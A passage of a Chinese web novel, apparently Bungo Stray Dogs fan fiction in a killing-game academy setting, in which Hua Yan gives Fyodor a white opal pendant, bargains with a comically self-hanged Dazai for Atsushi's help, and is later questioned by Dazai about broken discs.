“您也可以不用着急现在就告诉我,比起现在像是逼迫您来满足我的好奇心,我更希望在未来某一天,您能主动告知我、共同守护这份秘密。” 花言愣住,他注视着对方眼眸中近乎是温柔的神色,耳畔似乎响起了若有若无的心脏跳动声,像是茧中蝴蝶扇动翅膀所发出的细微声响。 不知怎麽,花言无端想到,如果现在给他一个攻略游戏板面,现在应该已经跳出了某种提醒,比如说——勇气还没有到达能够在攻略目标面前摘下墨镜的地步,等下次再做吧。 不过不可否认的是,对方的话确实很好安抚了他的焦虑。 “好,下次你再问起……或者,如果有合适的机会,我一定会告诉你的。” 他听见自己如此承诺。 第70章 费奥多尔一如既往地给花言带了早餐才折返回去上课,后者一边吃着早餐,一边痛定思痛,决定今天一定要做点什麽,比如说按照之前得到的建议,给对方送个礼物。 虽然原本想当作歉礼送礼物的计划被对方抢先了,但是没关系,他还可以当作回礼送。 因为收到了礼物,所以出于礼貌也回赠礼物也很正常对吧? 并且由于对方已经送了礼物,他也不用再犹豫送对方什麽,只需要依照对方送给他的礼物,回赠个相同意义的就好了。 花言指尖捏着垂落在身前的发带一角,有些拿不定主意该送对方什麽饰品,思来想去,他打开了电子学生手册给“涩泽龙彦”发去了消息。 后者回消息很快,像是从来不上课似的一直呆在社团,两人来回交流很快敲定了饰品,甚至就连具体款式和所需要用到的材料“涩泽龙彦”都给出了完美建议,花言只需要等下午去拿就可以了。 花言双手捧起电子学生手册,看着屏幕中“涩泽龙彦”发出的消息,感动无比。 真不愧是“涩泽龙彦”,不仅审美在线,效率也高,居然下午就能做好。 所以对方是真的不用上课吗? 花言思绪歪了一瞬,在好奇心的驱使下,他还是向对方问出了这个问题。 “涩泽龙彦”那边没怎麽犹豫,告诉了他答案——最近学院来的人太多太麻烦,所以在用社团活动当作借口一直请假。 花言躺回床上望着天花板,在心底为带这麽多人来打扰到了“涩泽龙彦”的所作所为忏悔了一秒,旋即拿起电子学生手册调出费奥多尔的聊天页面,给对方发了自己中午想吃什麽的消息。 费奥多尔那边收到消息很快回复,并在中午带着午饭如约而至。 对方如昨天一样,跟他说着今天发生的事,比如说今天上课的人似乎不多,太宰治、果戈里、以及“猎犬”的那几人都不在,看起来昨晚黑白熊拿出的东西对他们都造成了影响。 花言应了一声,没过多在意,如果真的有人能够创造出完美犯罪成功毕业,那那三样礼物确实是对方应得的,毕竟都这麽努力了。 费奥多尔在上课铃响起时离去,花言睡了个午觉,直到临近与“涩泽龙彦”约定的时间才出门。 他穿过栽满樱花树的小径,在去往“涩泽龙彦”社团的半路上遇到了对方。 “涩泽龙彦”手里提着一个纸袋,看见花言快步走了过来。 后者看着对方手中的纸袋,隐约猜到了里面是什麽,意外地询问,“已经做好了吗?” “嗯,提前做好了,本来想去寝室看望你、给你送过去的,没想到刚好遇上。”“涩泽龙彦”将纸袋递给了对方,“你看一下有没有什麽问题,不满意还可以改。” 花言从纸袋里拿出礼物盒,礼物盒通体是暗色系,没有系丝带,打开盖子里面是他们敲定好的饰品,跟“涩泽龙彦”发给他的草图大致一样,也要更精致一些。 花言合上盖子,毫不吝啬地夸赞,“没问题,甚至比想象中的更好。” “没让你失望就好。” “涩泽龙彦”从纸袋里拿出丝带,接过花言手中的礼物盒,包装好了重新给了对方。 花言看着对方手中熟练的动作,以及重新回到自己手中完美无缺的礼物盒,只觉得对方真是太靠谱了。 “谢谢你。”花言感激地发出邀请,“吃饭了吗?如果没吃可以跟我说说你想吃什麽,我会尽力满足你的,或者以后等有条件了,我再请你吃更好的。” “我已经吃过了,也不用那麽麻烦你,毕竟能帮上你,我也很开心……”“涩泽龙彦”说着犹豫了一下,像是想到了什麽,“如果可以,我还是希望你能说服中岛敦,让他加入我的社团……啊,就算不加入,愿意成为我的助手也可以。” 花言沉默了一瞬,有些欲言又止地张了张口,最终略有些艰难地承诺,“我会努力说服他的。” “涩泽龙彦”后知后觉到这个要求似乎会让对方的苦恼,他退让了一步,“如果实在让你为难的话,也不用勉强。” “不,我不勉强。”花言语气坚定,“我一定会帮你的!” 毕竟对方都如此帮他了,就算是看在对方加班加点帮他制作出这枚礼物的份上,他也不会拒绝对方的。 不就是区区中岛敦吗?他马上就能绕过武装侦探社坑蒙拐骗过来! “真的吗?”“涩泽龙彦”脸上浮现出激动无比的笑容,“我十分期待你的好消息!” “嗯!你就等我的好消息吧!” 花言如此信誓旦旦地承诺,目送对方身形渐行渐远,直到消失在视野中,他脸上的自信才瞬间垮台。 他提着纸袋往回走,思索着该用什麽方法将中岛敦拐到“涩泽龙彦”那边当后者的助手。 说起来现在的中岛敦不是这个世界的人,就算现在将这个中岛敦拐过去当了“涩泽龙彦”的助手,那后面当副本结束,学院版的中岛敦重回校园,后者还会继续给“涩泽龙彦”当助手吗? 花言表情愈发凝重起来了。 没等他再想出如何让中岛敦助手体验版变成永久版的方法,余光忽然注意到前方路边的樱花树下似乎吊着什麽东西。 花言下意识快步靠近,这一走近才发现原来是太宰治。 后者正在樱花树下上吊。 看起来已经吊了有一会儿了,面色惨白,嘴唇也有些发紫。 花言不合时宜地想起费奥多尔中午跟他说上午太宰治没来上课的话。 难怪对方没来上课呢,原来是在上吊。 花言站在树下观摩了两眼,还是决定假装没看见离开,毕竟他朋友以前经常跟他说——多管闲事是会被连捅十八刀然后重生的。 虽然依照太宰治的性格不太可能会干这种事,但是呆久了肯定会有麻烦事。 更重要的是,考虑到晚上的自相残杀游戏以及新添的规则,说不准对方是在以自杀的方式给他的同伴测试白天死亡的后果。 太舍己为人了。 这可能就是正义夥伴独有的光辉吧。 花言感叹地抬起脚步,刚准备离开,只听树上的人忽然说话了。 “花言,你不打算帮帮我吗?” 花言震惊地抬起头,“你居然还没因为缺氧陷入昏迷?” “昏了,然后又醒了。” 太宰治如此说道:“本来吊的有点累想下来,结果发现绳子卡住了,我身上又没带小刀,为了不被打扰又特意选择了一个偏僻的位置,所以一直没人路过,我也一直挂着下不来。不过现在能够在被脖子勒断痛苦死去前遇到你来帮我,真是太幸运了。” 说到这里,太宰治脸上扬起灿烂的笑容,只不过这份笑容搭配上苍白到略有些青紫的面色,显得有几分恐怖。 像是在拍什麽恐怖片。 花言觉得对方似乎在试图道德绑架他,他还没说要帮助对方呢。 “不,你应该说遇见我,是你的倒霉。”花言面无表情地举起电子学生手册,“现在我要告你逃课。” 太宰治无辜地眨了眨眼睛,“我是正规途径请假的哦。” 花言低头翻了一下校规,又重新抬起头换了个说辞,“我要告你破坏公物。” 太宰治:? “唉?” 仿佛是为了证明这个罪行,花言从地上捡起几根树枝,“这就是你破坏公物的罪证。” 太宰治瞳孔地震,有些没想到对方会是这种性格,“唉——?” 他尝试让对方打消举报的想法,“但是,花言你看起来也不像是身体不适的模样,甚至还能去涩泽君那取你要的东西,如果一定要举报我,那你并没有生病的事情也会暴露,这样真的好吗?” 花言缓缓眨了眨眼睛,没想到对方听力居然这麽好,“这你都能听见?” “不,只是我刚好看见你从这边路过时没有提任何东西,然后再回来时手中就多出了一个纸袋,你去的那个方向只通往涩泽君的社团,所以猜到了这一点。” 太宰治轻描淡写地给对方解释了一下,表明自己并没有偷听。 “原来是这样。”花言微微点头,从容不迫地辩解了对方上一句话,“其实我生病了,生了一场现有医疗条件无法检测出来的病。” 太宰治:…… “这是诡辩吧!绝对是诡辩!” 花言看着太宰治在树上扑腾,逐渐意识到这似乎是个好机会。 他开始趁火打劫,故作为难地开口,“当然,看在我们是同学的份上,我也是会救你的,不过需要你满足我一个小小的条件。” 太宰治眼眸微闪,面上仍旧是一副疑惑的模样,“什麽?” 花言直白地提出了要求,“我答应了涩泽,让中岛敦当他的助手,如果你愿意帮我沟通一下,让他同意,我就救你下来,怎麽样?” 太宰治沉吟了片刻,没有立即同意,“我需要先打个电话,询问一下他的意见。” 花言不太理解为什麽沟通前还要打电话征询意见,但他仍旧点头,“没问题。” 树上挂着的太宰治看起来并没有受到多少阻碍,他从口袋里摸出电子学生手册,给中岛敦拨去了一个通话邀请。 后者此刻正在上课,于是安静到只能听见国木田独步讲课声音的教室中骤然响起刺耳的铃声,引起了所有人的注意。 中岛敦也被突如其来的铃声吓得一阵手忙脚乱,他捧着电子学生手册,原本想挂断的动作在发现这是太宰治打来的电话时止住。 脑海中瞬间浮现出众多疑虑——太宰先生今天请假了,说是需要调查一些事情,现在对方突然打电话来,难道是发现了什麽吗?还是说,出现了一些什麽突发状况? 中岛敦犹豫地看向讲台上的国木田独步,后者显然也意识到了什麽,假装没有发现,仅装模作样地让对方关静音。 中岛敦在国木田独步的默许下接通了对话,没等他小声地询问对方发生了什麽,电子学生手册中爆发出对方惊恐的求救声。 “敦君!快来救我——我要被花言杀掉了——” 在太宰治的声音背后,似乎还能听见有道清冷的声音气急败坏地否认,说着“我什麽时候要杀你了”、“你冤枉人”、“我只是要中岛敦”之类的零碎话语。 太宰治似乎是听见了对方的否认,停顿了片刻,才接着用沙哑无比的嗓音说道。 “敦,他说要你一个人来救我,不然就……” 后面的话还没说出口,只听那道清冷的声音骤然拔高。 “我都说了,我没说!” 伴随着话音落下,一道重物落地的声音响起,电话也被随之挂断。 整个教室鸦雀无声,像是都没反应过来。 中岛敦为难地看向国木田独步,后者有些头疼地捏了捏鼻梁,默认对方可以离开。 中岛敦硬着头皮匆匆离场,只留下神色各异的众人。 教室内原本寂静的氛围伴随着那通电话和中岛敦的离去彻底消失,剩余的众人不由得骚动起来。 听见太宰治求救信息的芥川龙之介有些意动地想要赶过去一探究竟,中原中也只得拦着对方以防对方真跟过去了,这太宰治的声音一听就是在捉弄别人,怎麽可能真的有危险。 剩余的武装侦探社众人你看看我我看看你,不由得小声交流起来究竟发生了什麽事。 费奥多尔低垂着眼眸安静地坐在位置上,他其实并不意外花言会出寝室,不过他很好奇花言究竟是怎麽遇上太宰治的,对方又为什麽需要中岛敦,以至于出现了这种局面。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第71章 被花言气急败坏飞出一刀割断绳子而猝不及防掉在地上的太宰治揉着自己被摔痛的地方,幽怨地发出指责。 “花言,你动作好粗暴。” 花言抱着手臂站在原地,睨了对方一眼,“谁让你冤枉我,明明是你自己把自己挂树上的,我根本没说要杀你。” “因为你看起来在敦来之前不打算救我下来,而我感觉脖子快被挂断了,所以才会用这种方式,更何况,你不觉得这样效率很高吗?” 太宰治笑眯眯地指向不远处一路狂奔而来的身影。 “你看,他来了吧。” 由于太宰治没说具体地点,中岛敦近乎把学院跑了个遍才终于找到对方。 伴随着距离的拉近,那两人之间的具体情况也愈发清晰,他的表情从一开始的担忧与坚毅逐渐变成了迷茫与迟疑。 “太宰先生……?” “嗨,敦君。”太宰治坐在樱花树下的草地上朝对方招了招手。 中岛敦的视线从太宰治脖子上挂着的绳子扫过,又抬头看向樱花树枝上垂落的半截绳子,以及一旁没好气的花言,逐渐弄清楚发生了什麽。 他欲哭无泪地说道:“不要捉弄我啊。” “没有捉弄哦,我们确实有事找你呢。”太宰治指向花言,正色开口,“是这样的,敦,我挂在树上脖子差点被勒断了都没死掉,本来想解开绳子换种死法,但没想到绳子卡住了,为了避免继续遭受折磨,我跟这位好心人做了个交易,让他放我下来。” 中岛敦隐约有种不好的预感,他小心试探,“交易内容是什麽?不会是有关于我的吧?” 太宰治欣慰地点头,“没错哦,没想到你反应这麽敏锐呢。” “唯独不想这个时候被夸奖啊!” 中岛敦无力地垂下脑袋。 太宰治选择性地忽略了中岛敦的抗议,告知对方,“总之交易内容是——花言希望你能去涩泽龙彦那边当一段时间的助手。” “诶?!” 中岛敦瞳孔地震。 可能是由于在横滨的遭遇,以至于现在他听见这个名字就有点背脊发寒。 中岛敦试图给自己争取一下,“非去不可吗?” “这个问题嘛……” 太宰治没有立即回答对方,而是向花言提出问题,“说起来涩泽君需要敦做助手干些什麽?” 花言回忆了一下自己做过的事,总结道:“没什麽,可能就是帮忙递递东西,或者是当下模特测试对方新制作出来的衣物饰品之类的。” “这样啊……”太宰治微微点头,旋即重新看向了中岛敦,询问对方的意见,“看起来这个世界的涩泽龙彦意外的正常呢,敦,你怎麽想?” 中岛敦神色迟疑,如果只是这样的话,好像当一下助手也没什麽…… 太宰治见对方有些动摇,压低声音凑到对方耳边小声提醒,“敦,虽然你现在拒绝也没事,但我觉得他不会轻易放弃的哦,毕竟这是他给予涩泽龙彦的承诺,如果可以的话,我希望你现在同意比较好。” 什麽意思? 中岛敦惊恐地看向状似神色平静的花言,意思是后者可能会用什麽防不胜防的强硬手段是吗?! “我听见了。”花言古井无波地开口。 虽然他没听太清,但一看中岛敦的反应就知道太宰治肯定在说他坏话。 “我没说你坏话哦,我只是在劝说他同意。”太宰治当即自证清白,将话题转移到了中岛敦身上,“你愿意吗?敦?” “我愿意……”中岛敦犹豫地点头,他看向花言,“呃……那个,我要现在去吗?还是下次等他主动找我帮忙再去……?” 花言没想到中岛敦居然如此积极,他毫不犹豫地做出决策,“现在去吧。” 对方现在去能够直接给“涩泽龙彦”一个惊喜,后者绝对没想到才分别短短一个多小时,他就能把中岛敦送过去。 “涩泽龙彦”效率是很高,但是他更高! 是他赢了! 中岛敦踌躇地看了眼太宰治,见后者点头,表示没问题,他才朝“涩泽龙彦”社团方向所在的地方跑去,其背影不知怎麽透着一股悲壮的气息。 只不过花言完全没看出来就是了,既然现在答应“涩泽龙彦”的事情已经完成,那是时候回去了。 注意到花言想要离开的意向,太宰治出声喊住了对方。 “花言?你要回去了?不打算跟我说些什麽吗?” 花言停住脚步,疑惑地回头看向对方,“说些什麽?” “嗯……比如说你身体是不是真的不舒服这件事?” 太宰治已经从昨天晚上的游戏中确认了确实有超出对方掌控的事情发生,将学院分成白天与黑夜两个不同的世界也不是对方的本意。 既然如此,问对方有关于淘汰后是否真的会死亡的事情八成也得不出答案。 只是他不太明白,对方不是想杀费奥多尔吗?为什麽对方自从自相残杀游戏彻底开启后身体不适的信息反而是由费奥多尔传出的? 这是费奥多尔的谎言,还是这其中有什麽其他他所不知道的因素? “是真的。” 花言势必不可能暴露自己其实没事的信息,一旦暴露岂不意味着他要去上课了吗? 再想到昨天晚上展现出来的礼物里有他从港口mafia得到的货物、想到他在“骸塞”时对中原中也说的话,如果他现在再安然无恙地出现在后者面前,岂不是等同于把他钉在幕后黑手这个位置上了吗?! 那种事情不要啊。 “果然是这样吗……” 太宰治若有所思地应了一声。 难道对方是由于出现了超出对方掌控的事情,所以才被费奥多尔牵制住了?毕竟这两人一开始还僵持了三天三夜没睡。 再次开口时,太宰治更换了话题,口吻似埋怨般,“花言,我昨天晚上在视听室等了你好久,你都没有来。” “时间不太合适。”花言停顿了一会儿,还是告诉了对方原因,“我一开始做了一锅汤,被黑白熊打断,导致糊掉了,所以后面我不甘心地又做了一次,虽然差点又被黑白熊打断,但最起码喝上了。” 强调完这锅汤对他而言的特殊意义,才补充道:“今晚有机会的话,我会去的。” 花言说完又觉得不对劲,明明有完整记忆的太宰治就在自己面前,为什麽还要特意等到晚上?他现在完全就可以知道对方的目的。 “所以你想跟我说什麽?” “也没什麽,可能是一些关于想要尽快结束这场自相残杀游戏的想法?”太宰治语气像是也有些不确定,旋即又变得轻快和随意起来,“晚上交谈过后你就知道了。” 花言狐疑地瞥了对方一眼,没有过多在意,随意挥了挥手表示告别,他还有更重要的事情要做。 太宰治唇边噙着愉快的笑意,目送对方身影渐行渐远,忽然,他的目光停留在对方雪白发丝中混杂着的那一缕紫上。 一丝疑惑在心底一闪而逝。 说起来,花言什麽时候弄的发带? 难道是因为之前在游戏中因为披着头发造成了意外,所以才开始特意扎起来了吗? …… 学院幽静的小路上陆陆续续多出了其他学生的身影,现在似乎已经是放学时间了,热闹的声响带来了鲜活的气息,驱散了学院中隐匿在暗处的异常氛围。 花言提着纸袋轻车熟路地绕过人多的地方,在回寝室的途中,他从楼梯间门的缝隙瞥见了“猎犬”几人,后者似乎在争执些什麽,条野采菊与末广铁肠站在一边,而福地樱痴与大仓烨子站在对面,中间空出了一条泾渭分明的界限,从这种经典的绝交站位问题来看,问题似乎很严重。 花言匆匆瞥了一眼没有多看,他回到寝室推开门,不出意料地发现费奥多尔已经回来了,桌面上放着一些甜点和晚餐。 从放学时间来说,对方明明应该刚回来才对,但不知怎麽,花言却有一种对方已经等待许久的错觉。 费奥多尔思绪被开门声响打断,他抬头望向门口,唇边挽起一道温和的弧度,“您回来了。” 花言应了一声,随手柄门合拢,迟疑地坐到了桌前。 “你难道……在等我吗?” “嗯,听其他学生说,校外开了一家新的甜品店,我托他们带了些招牌回来,不知道您会不会喜欢。” 费奥多尔说着将桌面上的甜点和晚餐推到了对方面前,“至于晚餐……我有给您发信息,但是您当时似乎有什麽事情没回,所以我按照您平时表现出来的口味买了,如果不合胃口的话,我们可以一起去食堂再看看。” 简简单单的几句话,不仅把花言感动得热泪盈眶,甚至还隐约升起了几分愧疚。 他摸出电子学生手册一看,发现对方居然真的给他发了信息,还连发了几条询问,这下更愧疚了。 当即安抚,“只要是你送的,我都喜欢。” 别说不合口味了,就算现在对方给他准备的晚餐是空气,他都会说喜欢。 费奥多尔那双在灯光下色泽偏浅的紫罗兰色眼眸微微睁大,其中神色惊讶又意外。 这抹神色只流露出了短短一瞬,在被收起的下一秒,他抵着唇轻轻笑了一声。 “没有让您失望就好。” 第72章 花言后知后觉意识到刚刚说的话似乎有些太逾越,他假装什麽都没说过似的转移了注意。 从纸袋里翻找出包装好的礼物,放到了费奥多尔面前,“这个是昨晚你送我礼物的回礼,抱歉,去取的路上耽误了一点时间。” 桌面上的礼盒通体暗色,一片如夜的墨色中浮着紫色的暗纹,四周捆扎着暗色系的丝带,从礼盒的款式和系丝带的方式来看,应该也出自“涩泽龙彦”那边。 对方说出口的话语再加上这份礼物,花言今天会出门的缘由似乎已经浮出水面了——大概率是为了去取制作好的回礼。 虽然对方也完全可以让“涩泽龙彦”送到寝室来,但以目前相处下来——对方所展现出的性格来看,哪怕“涩泽龙彦”主动想送过来,花言也会因不想太麻烦对方而拒绝。 “这种时候不用道歉,花言。” 费奥多尔指尖抚上礼盒上的丝带,温和的嗓音裹挟着愉悦的笑意在空气中传递。 “谢谢您,我很开心。” 拉开丝带,盖子下,正因灯光而闪烁着细微碎光的天鹅绒质地垫子上呈放着一枚做工精致的吊坠。 吊坠通体银色,中央镶嵌着一颗浅色调的椭圆形宝石,宝石光滑的表面伴随着灯光与角度的变化,时而通透无色,时而折射出绚丽的色彩,仿佛世界上光谱中所有已知色彩都被裹挟在摇晃的白雾中,纯粹又神秘。 ——是白欧泊。 费奥多尔认出了上面镶嵌的宝石。 花言墨镜下的眼眸不着痕迹地看向一边,没有看对方的反应,他语气犹豫,“如果你不太喜欢戴饰品,也可以收起来当作收藏品。” 毕竟这颗欧泊可是“涩泽龙彦”费尽千辛万苦才拍到的呢。 “您是考虑到这一点才用欧泊石吗?” 费奥多尔轻轻拿起吊坠,宝石光滑的表面色彩再次发生变化,在灯光折射下从纯白中浮现出的色彩明亮得如同澄明天际绽放出的第一缕霞光。 欧泊石名贵且易碎,有时候气温的变化都会破坏其中靡丽的色彩与光滑的表面,作为饰品佩戴平时稍有不注意很容易出现损坏,因此如果考虑到价格和寿命,作为收藏品欣赏保存是最好的选择。 “嗯。” 其实也不止这个原因,花言会选择白欧泊还有一个原因是费奥多尔给他送的发带是对方的瞳色,那他送的饰品也是自己瞳色也很合理吧,某种程度上这也算是礼尚往来了。 “唔……虽然我平时确实不怎麽戴饰品,不过既然是您送的,那我平时会多加注意的。” 费奥多尔紫罗兰色的眼眸中笑意加深,手心中捧着的宝石在灯光下熠熠生辉,“这个锁扣似乎十分精细,我自己戴可能会有点困难,能麻烦您帮我戴上吗?” “当然。” 花言欣然点头,从对方手中接过吊坠,起身绕过桌子靠近对方。 花言没怎麽跟人有过多的接触,同样也没给人戴过吊坠,他见费奥多尔抬头看向自己,以为对方是在催促自己而特意抬头以示等待。 于是费奥多尔还没来得及转过身,用背对的姿势方便对方系锁扣,一双手臂骤然环过了他的脖颈,属于另一个人的温热气息顷刻间洒落,呼吸间也混杂上若有若无的樱花香气。 对方似乎在樱花树下停留过很长一段时间,长到枝头飘落的樱粉落在那片纯白的发丝间,将气息沾染了上去。 费奥多尔不合时宜地想起以往跟对方接触时,在对方身上闻到的——属于甜品的清甜。花言似乎十分容易沾染上外界的气息,像是清透的水,能够倒映万物,也极容易被外界的污浊所浸染。 也许是为了彰显这枚宝石的贵重程度,“涩泽龙彦”不仅使用了同色系中价值最高的铂金当陪衬,连锁扣也充满了设计感,十分精细严密。 花言死活没能扣上,耳畔属于另一个人的呼吸声虽然仍旧平稳,但他总觉得对方现在心中一定充满了疑惑。 难道他第一次送礼物就要迎接给攻略对象戴吊坠因为锁扣太复杂而扣不上,最终只能让攻略对象自力更生的尴尬结局吗? 不要啊—— 花言心情逐渐沉痛,不死心地再次尝试,可能是他死去的幸运再次复活,这次终于扣进去了。 花言假装没有被锁扣难住,他故作镇定地直起背脊,“好了。” 眼前的黑发少年似在走神般,轻轻眨了眨那双漂亮神秘的紫罗兰色眼眸,慢半拍地开口,“谢谢您。” 花言微微摇头,“没关系。” 费奥多尔眼眸倒映出对方的身影,后者重新坐回椅子上开始安静进食,如果忽略对方通红的耳尖,仅从表情来判断的话,费奥多尔或许真的会以为对方如看上去的一样平静。 他有些明白为什麽花言总是披散着头发,也遮得严严实实了。 虽然对方有时会在展露出来的神色上伪装管控的很好,但身体本能的反应却会诚实无比地将对方的真实心情暴露出来。 费奥多尔垂下眼眸,指腹摩挲着垂落在身前宝石的光滑表面。 寝室内安静得一时之间只能听见花言左一口甜品右一口米饭的声音。 等花言吃完米饭开始专心致志品尝甜品时,只听费奥多尔忽然开口了。 对方的语气听起来是纯粹的好奇与疑惑。 “太宰治为什麽说您要杀了他?” 花言猝不及防之下被嘴巴里的奶油呛到,他捂住嘴咳嗽了几声,妄图用被奶油糊住的嗓子艰难回答,“你怎麽……” 费奥多尔见状迅速给对方递上了一杯水表示歉意,他当然知道对方并不想杀太宰治,不过这并不妨碍他询问。 “抱歉,您也知道课堂上十分安静,一点细微的声音都会被放大,中岛敦当时是在课上接通的电话,所以……” 花言喝了一口对方递过来的水,将奶油压了下去,听见这句话不知道是先该震惊一下中岛敦上课接电话的行为,并询问对方为什麽这都没举报中岛敦扰乱课堂纪律,还是该跟对方吐槽太宰治的过分举动。 短暂犹豫了片刻,花言还是选择先解释。 “他冤枉我,我根本没想杀他,明明是他自己挂在树上下不来了,我顶多算是袖手旁观……?”他回想了一下自己的所作所为,忏悔了一秒,“呃……也可能是趁火打劫吧。” 不过从太宰治吊着还能打电话的举动来看,说不准对方其实挺乐意让他趁火打劫的。 “趁火打劫?”费奥多尔疑惑地复述了一遍这个词汇。 “因为涩泽他不是一直都想让中岛敦加入他社团……又或者是当他助手吗?”花言理所当然地说道:“他加急帮我做出了饰品,还用了最贵重的白欧泊,帮了我这麽多,就这麽一个愿望,我当然会想办法满足他。” 费奥多尔明白了,“所以您跟对方进行了一场交易,以救对方下来为代价,让对方说服中岛敦加入社团?” “其实没加入,只让他当一段时间的助手而已。” 花言说到这里不忘跟对方吐槽一下太宰治的过分举动,“你明白了吧,我根本没想杀太宰治,虽然他跟我解释——这麽说是为了让中岛敦尽快赶过来、让我提前救他下来,但我总觉得他绝对是故意说出这种话,想要让人误解我。” 费奥多尔微妙地沉默了一瞬,即使他明白太宰治这麽做可能是想通过这种方式试探对方的性格,也没有纠正对方的误解,反而表示赞同。 “我觉得也是这样。” 不过,太宰治做这些应该也不仅仅只是为了试探花言性格。 虽然他跟花言似乎经常去“涩泽龙彦”的社团,但太宰治应该也清楚让中岛敦去是探查不到任何线索的。 因此对方会如此轻易答应说服让中岛敦成为“涩泽龙彦”的助手,应该是一种示好,也是一种交易,类似于为了达成交易而先积累好感度增加成功概率一样。 费奥多尔若有所思地看着对方,“他有跟您说什麽其他的事情吗?” 这并不是什麽重要的事情。 花言点了点头,简略地仅告诉了对方得出的结论,“他可能想要跟我合作,尽快结束那场自相残杀游戏。” “跟您合作……?” 费奥多尔眉头微蹙,不一会儿又松开。 他明白太宰治的想法了,后者可能也意识到了花言的特殊性,无论是白天学院本该属于对方控制的事实,还是在夜晚游戏中所展现出来的“才能”,一切都在昭示——如果想要结束,花言是关键点。 “您呢?您的想法是什麽?”费奥多尔含笑看向对方。 花言闻言咬着叉子思考了一会儿,“可能会同意吧。” 毕竟晚上失忆的他才被黑白熊威胁,既然会出现有可能结束这场自相残杀游戏的合作,他当然会同意。 “我猜也是这样。”费奥多尔不置可否地叹息一声。 不知怎麽,花言逐渐有种自己这麽做似乎有点对不起费奥多尔的错觉,从某种角度说,对方不仅是先来的,还给他带了这麽久的饭和甜品,现在公然跟对方的敌人合作好像有点不太好。 花言试图安慰,“主要是现在的我不同意也没办法……” 现在的他跟晚上的他用的不是一个脑子,失去一段记忆在某种程度上会改变原本的选择。 “花言,我并没有想要阻止您的意思。”费奥多尔单手撑着脸颊,微微歪头,笑着看向对方,“只是……如果有机会,我也很想成为您的合作夥伴呢。” “嗯,我也是。” 既然对方不在意那就太好了,花言并没有将对方的话放在心上。 马上就要到八点了,他得赶紧把甜品吃完,奶油制品放到第二天就不好吃了。 第73章 又是一阵恍惚。 宛如身处薄雾般白色调的视野里是熟悉的体育馆,体育馆讲台上已经失去了黑白熊的身影,环顾周围,发现身边其他人的举动也或多或少展现出了些许不知今夕是何夕的迷茫。 落在半空中的视线对上另一个人,虽然花言看不太清,但对方确实是在看他不会错。 对方唇片一张一合似乎是在提醒他什麽,短暂的话语过后,只留下唇边略显幽怨的笑容。 花言注视着对方身上穿着的驼色风衣,以及轮廓边缘卷翘的黑发,后知后觉意识到这个人应该是太宰治,对方之前约他去视听室见面。 至于唇语——暂且不提他看不太清,就算看清了,对方说的日语,他大概率也无法识别对方具体说了什麽。 说起来……为什麽他脑子里明明没有有关日语的知识,却没有出现任何交流和信息获取上的障碍呢? 也跟他失去的那段记忆有关系吗? 这个疑惑在花言脑海里一闪而逝,耳边传来熟悉的嗓音,轻声吐露出他的名字。 “花言?” 花言本能应了一声,回过头发现费奥多尔正注视着他,不知道看了多久,对方似乎是注意到了他的异常,靠得有些近,近到花言足以看清对方脸上神色中的疑惑与关切。 “您怎麽了?” “没什麽,只是想起用过的厨具还没洗。” 花言不知道费奥多尔是否注意到了太宰治的举动,也许已经注意到了,但是在装作没看见想试探他的态度,也可能由于沉浸在片刻的恍惚中以至于刚好错过。 后一种可能很小,花言比较倾向于前一种可能。 不过无论对方有没有注意到都无所谓,他是一定会赴约的——看在光盘上。 难道这就是被人拿捏到软肋的后果吗? 花言思绪不合时宜地偏移到了另一个局域。 “原来是这样。”费奥多尔轻轻点头,唇角裹挟上一缕笑意,“正好现在看起来没什麽事情了,我陪您一起去吧?” 原本想提出自己一个人去洗并借机赴约的花言有些欲言又止,最终还是点头,“……好。” 花言一路沉默地跟费奥多尔回到了食堂后厨,后者似乎正在思考什麽,也没有主动查找话题,由于费奥多尔的手受伤了还没好,只能一个人洗,另一个人负责摆。 两人处理好厨具,陷入了某种无言的尴尬氛围。 费奥多尔似才察觉到接下来没事做了一般,给出了建议,“要一起去娱乐室看看吗?果戈里和西格玛应该会继续回到娱乐室,在无聊的时候放松一下也是一个很不错的选择。” 花言觉得自己不能再这样下去了,一想到武装侦探社那边可能有个“超高校级的修复师”,他身上就像是有蚂蚁在爬。 花言罕见地拒绝了费奥多尔邀请,“抱歉,我有点累,头刚刚还撞上了栏杆有点痛,想回寝室休息,你去吧。” 这个借口在缺少了一半时间——他们已经身处梦境的情况下,可能会显得有点敷衍且破绽百出。 不过没关系,考虑到他之前追了那麽长时间的黑白熊、做了那麽多事,以及他身体素质差的因素,会感到疲倦也很正常,趁没事的时候休息一下更是人之常情。 费奥多尔善解人意地点头,“我知道了,需要送您去寝室吗?” “不用了,我自己去就好。”花言再次拒绝,拒绝完又觉得这样有点冷漠,补充道:“这里离寄宿区不远,不用麻烦你。” 费奥多尔轻轻应了一声,“我明白了。” 花言目送对方的身形渐行渐远,直到完全消失在通往楼梯口的方向,才抬起脚步朝离寄宿区方向完全相反的视听室走去。 视听室的门没有打开,窗户也被窗帘严密遮住,无法窥探到里面是什麽情况。 花言试探性地转动门把手,门没有落锁,轻易地被推开,发出一声“吱呀”声响。 借助走廊的灯光,他隐约看见昏暗的视听室内伫立着四道身影,像是等候多时。 在他推开门的那一刻,里面的人似乎都望了过来。 花言:? 好多人啊…… 他还以为只有太宰治呢…… 不知怎麽,眼前这一幕让他产生了某种既视感——像是校霸放狠话说放学别走来天台,然后带一堆人在天台等他一样。 这是什麽用光盘碎片做诱饵,吸引他上当的陷阱吗? 花言默不作声地试图关上门假装自己没来过,但里面的人显然不会给他这个机会。 “花言,我们等了你好久,我还以为你不会来了。” 太宰治的嗓音像是在埋怨般有些甜腻。 花言关门的动作微顿,觉得如果现在走了会显得自己很没气势,于是他走进视听室反手合上了门,单刀直入地问。 “你找我有什麽事?” “其实也没什麽……” 太宰治从口袋里拿出光盘碎片,“只是我在和国木田搬运完你们后,捡到了两张被掰碎的光盘,想问一下这些是你的吗?” 花言没有太靠近那四人,也没有隔得太远,视听室内唯一的光源来自于窗帘缝隙,如果隔得太远,他就完全看不清对方了。 花言与对方隔着一排桌子,后腰倚靠上桌子边缘,神色平静,说出早已想好的借口,“不是,这里面只有一张是我的,另一张是费奥多尔的。” “咦?”太宰治发出一声诧异的气音,“但是……我记得费奥多尔的光盘不是被他自己掰碎丢进垃圾室焚化炉里了吗?” 花言:…… 他仔细回想了一下,发现自己当时看完被夹了的视频后被气笑径直离开装炸弹去了,费奥多尔确实有可能在那个间隙里去垃圾室处理光盘。 不过…… 花言神色狐疑,“你为什麽知道的那麽清楚?” 